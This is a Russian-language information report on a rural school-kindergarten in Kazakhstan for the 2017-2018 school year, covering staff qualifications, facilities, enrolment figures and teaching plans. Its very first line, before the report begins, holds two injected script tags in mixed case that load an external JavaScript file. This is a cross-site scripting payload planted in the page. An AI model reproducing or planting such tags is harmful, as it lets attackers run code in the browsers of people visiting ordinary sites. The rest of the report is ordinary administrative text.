<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

26.11.2017

Информация по  ГУ «Новорыбинская средняя школа-сад»

на   2017-2018учебный год

Общие сведения о состоянии и

развитии образовательного учреждения

                                 Информационная справка о школе

  Всего в школе в 2017-2018 учебном году  21 класс-комплект, количество   учащихся - 142 человек.

 В школе работают 30 педагогов, из них:

Ø с высшей категорией - 3 человек;

Ø с первой категорией – 11 человек;

Ø со второй категорией -  8 человек;

Ø без категории - 8 человек;

Ø 1 психолог;

Ø 1 старший вожатый;

Ø 1 зав. библиотекой.

Иностранный  язык  в школе - английский.

 

Администрация школы

Директор школы – Кирибаева Карлыгаш Социаловна

Заместитель директора по учебно-воспитательной работе –Бардаль Олеся Ивановна -1 ставка,

Хажат Алма-0,5 ставки

Заместитель директора по воспитательной работе – Темирханова Милана Нурмагомедовна-1 ставка

Материально - техническая база

          спортивный зал-1

          столовая-1

          лингафонно - мультимедийный кабинет -1 (1 головной компьютер +10,

          1 сканер, 1 принтер, 1 модем, 1 интерактивная доска)

          кабинет информатики -1

          кабинет физики -1

          кабинет химии -1

          библиотека -1

          медицинский кабинет -1

          учебных кабинетов     -18

Контактная информация

Телефон: (871638) 3-32-23 

E-mail: novoryb-school

@mail.ru

 

 

Направления образовательной

деятельности

    В 2017/2018 учебном году педагогический коллектив школы продолжил работу над темой  « Личностно-ориентированное развитие познавательных возможностей и творческих способностей учащихся в условиях внедрения обновленного содержания образования в малокомплектной школе».

   Работа школы  ориентирована на решение следующих целевых задач:

1.     Обеспечение условий для проявления, развития склонностей, способностей и одаренности каждого ученика; развитие системы адекватной самооценки.

2.    Поддержание и укрепление школьных традиций, что способствует созданию общешкольного коллектива и его жизнь.

3.    Совершенствование методического мастерства учителя, способного компетентно и с полной отдачей заниматься

осуществлением учебно-воспитательной деятельности и эффективно решать вопросы воспитания школьника

Для реализации поставленных задач в школе на начало года имелась необходимая нормативно-правовая база,

соответствующие локальные акты и положения. В наличии необходимая нормативно-правовая документация: Устав школы, Закон об образовании, Закон о языках, Конституция, стратегия «Казахстан – 2030», Инструктивно – методическое письмо об организации учебно-воспитательного процесса, Конвенция о правах

ребенка,  нормативно-методический комплект: государственные стандарты, учебный план, учебные программы, положения по организации учебно-воспитательной работы,  учебно-воспитательный план школы.

          Учебно-воспитательный план школы разработан на основе научных подходов в управлении учебно-воспитательным процессом.  В план включены следующие вопросы: «Всеобуч», «Совещания при директоре», «Совещания при замдиректора по УВР»,  «Работа по повышению квалификации педагогических кадров», «Система внутри школьного контроля», «Система воспитательной работы», «Система работы с родителями»,

«Административно-хозяйственная деятельность», «Работа с учащимися».                                                                                                                    План равномерно

распределен по месяцам. Ведется работа по внедрению и реализации целей обновленного содержания образования. Вопросы по данному направлению расматриваются на педсоветах, методсоветах, заседаниях МО и

родительских собраниях. В процессе деятельности школы в него вносились необходимые коррективы. Администрация школы  направляет работу школы согласно учебно-воспитательному плану.   В целях наиболее

полной реализации задач, планирования работы была определена модель научно-методической работы. В эту структуру входят методический совет, аттестационная комиссия, методические объединения учителей

общественно-гуманитарного цикла, учителей начальных классов,  предметов естественно-математического цикла,

классных руководителей. Планомерная учебная и воспитательная деятельность, направленная на  развитие ведущих учебных умений и навыков,  позволила учащимся  принимать активное участие в конкурсах, соревнованиях   районного уровня, республиканских конкурсах: «Ак Бота», «Кенгуру - математика» и т.д. В школе стало традиционным участие наших учащихся в районных интеллектуальных мероприятиях. 

Учителя показали, как используют современные информационно-педагогические технологии в своей

профессиональной деятельности на уроках:   казахского и русского  языков, математики, английского языка, физики,

информатики, самопознания, биологии и начальные классы.

 

Качественный состав педагогических кадров:

-        имеют высшее образование – 27 учителей,  90%;

-        имеют средне - специальное образование – 3  учителя  10%.

 

 В 2016 -2017 учебном году 1 педагог прошёл  аттестацию на присвоение первой  категории (Адебиет Г.А. -учитель начальных классов), 4 педагога  на присвоение второй категории (Копенова М.М.- учитель математики, Акимжанов Д.Ж.- учитель физической культуры, Хонан Б.- учитель географии, Жетписбай Г.Ж. – учитель начальных классов).

В 2017-2018 учебном году  в школе 2 педагога  со стажем работы до трех лет (молодые

специалисты) – 3%, от 3-х до 10 лет –10 педагогов, - 33%, от 10-до 20 лет – 9 педагогов , 31%, свыше 20 лет - 10 педагогов, 33%.                                                                   

Вывод: 90 % учителей имеют высшее образование, 10 % -  среднеспециальное.                                                                                                                        

87% педагогов имеют высшую, первую и вторую категорию. Качественный и количественный состав учителей школы позволяет осуществлять качественно учебно-воспитательный процесс.

Учебно-методическая работа

 

 Деятельность ГУ  «Новорыбинская средняя школа-сад»  в 2017-2018 учебном году строилась в соответствии с Законами Республики Казахстан «Об образовании», «О языках в РК»,

Государственного общеобязательного стандарта образования РК, Комплексной программой воспитания, Законом «О правах ребенка», Государственной программой

развития образования на 2011-2020 годы.

Режим работы учреждения в

2017-2018 учебном году - 5-ти дневная учебная неделя. В шестой день для учащихся проводятся консультации, мероприятия, кружки. Занятия в школе ведутся в две смены. 

Организация учебного процесса регламентируется учебным планом и расписанием занятий. 

В 2017-2018 учебном году в школе было сформировано 21 класс,18 классов комплектов, в которых обучается 142

учащихся: 59

учащихся в начальной школе, 68

учащихся - в основной школе, 15

учащихся - в старшем звене.

Изменения  контингента в учащихся представлена в цифрах.

 

Параметры статистики	2013/2014	2014/2015	2015/2016	2016/2017	2017/2018
Всего	153	151	146	149	142
В начальной школе	58	51	52	63	59
В основной школе	89	88	85	73	68
В средней школе	6	12	9	13	15

 

 

Качество составляет 61%, при 100% успеваемости.

Цель методической работы школы:

повышение эффективности образовательного процесса через применение современных

подходов к организации образовательной деятельности, непрерывное

совершенствование профессионального уровня и педагогического мастерства учителя.

   Для реализации цели сформулированы следующие задачи:

1.Повышение качества преподавания учебных дисциплин через совершенствование содержания

образования, внедрения информационно-коммуникационных технологий и других

приёмов инновационных образовательных процессов.

2.Создание условий для обучения педагогов школы современным технологиям через курсовую

подготовку и обобщение передового педагогического опыта.

3.Усиление контроля уровня преподавания учебных дисциплин педагогами школы.

4.Активизация работы педагогического коллектива с учащимися, имеющими высокий уровень

мотивации обучения.

5.Совершенствование методики проведения урока, индивидуальной и групповой работы со

слабоуспевающими и одарёнными учащимися.

 

Для реализации поставленных задач в школе на начало года имелась необходимая нормативно-правовая база, соответствующие локальные акты и положения. В наличии необходимая нормативно-правовая документация: Устав школы, Закон об образовании, Закон о языках, Конституция, стратегия «Казахстан –

2030», Инструктивно – методическое письмо об организации учебно-воспитательного

процесса, Конвенция о правах ребенка,  нормативно-методический комплект: государственные стандарты, учебный

план, учебные программы, положения по организации учебно-воспитательной работы,  учебно-воспитательный план

школы.

Учебно-воспитательный план школы разработан на основе научных подходов в управлении учебно-воспитательным

процессом.  В план включены следующие вопросы: «Всеобуч», «Совещания при директоре», «Совещания при замдиректора по УВР», «Работа по повышению квалификации педагогических кадров», «Система

внутришкольного контроля», «Система воспитательной работы», «Система работы с

родителями», «Административно-хозяйственная деятельность», «Работа с учащимися».

     План равномерно распределен по месяцам. В процессе деятельности школы в него вносились необходимые коррективы.

Администрация школы  направляет работу школы согласно учебно-воспитательному плану. При планировании методической работы школы педагогический коллектив стремился отобрать те формы, которые

реально позволили бы решать проблемы и задачи, стоящие перед школой. Формы методической работы:

·       Педагогические советы.

·       Тематические методические советы.

·       Школьные  методические  объединения.

·    Семинары.

·       Открытые уроки.

·       Предметные недели.

·       Информационно-методическое обслуживание учителей.

·       Мониторинг качества образования.

·       Повышение квалификации педагогического мастерства.

·       Аттестация педагогических  работников.

·       Участие в конкурсах, олимпиадах, семинарах, ярмарках.

Работа методических объединений                                                                                     

Цель: выявление результативности выполнения целей и задач, возложенных на МО учителей-предметников

 С начала учебного года были созданы методические объединения по предметам и

областям знаний. Таким образом, работа велась по следующим циклам:

М/О учителей начальных классов и детского  дошкольного объединения ( (Музыченко А.В.)                                                                

М/О учителей гуманитарного цикла (Мекебай А.М.)

М/О учителей  естественно-математического цикла (Шатохина И.Л.)

М/О классных руководителей (Темирханова М.Н.)

Каждое методическое объединение имеет свой план работы, разработанный в соответствии с темой и целями и задачами методической службы школы. Целенаправленно ведется работа по освоению учителями современных методик и технологий обучения. В методических объединениях проводится стартовый,

рубежный и итоговый контроль по всем предметам.                               

Открытые

уроки, внеклассные мероприятия.

Обеспечение удовлетворительного  методического уровня проведения всех видов занятий

в соответствии с содержанием учебных планов и программ наблюдалось при посещении открытых уроков, внеклассных мероприятий учителей школы.

Цели открытых уроков:

·    обмен опытом;

·    повышение квалификации молодых педагогов, и коллег посещающих урок;

·    экспертиза коллегами новшества, разработанного учителем;

·    саморазвитие учителя, стремление к собственному повышению квалификации.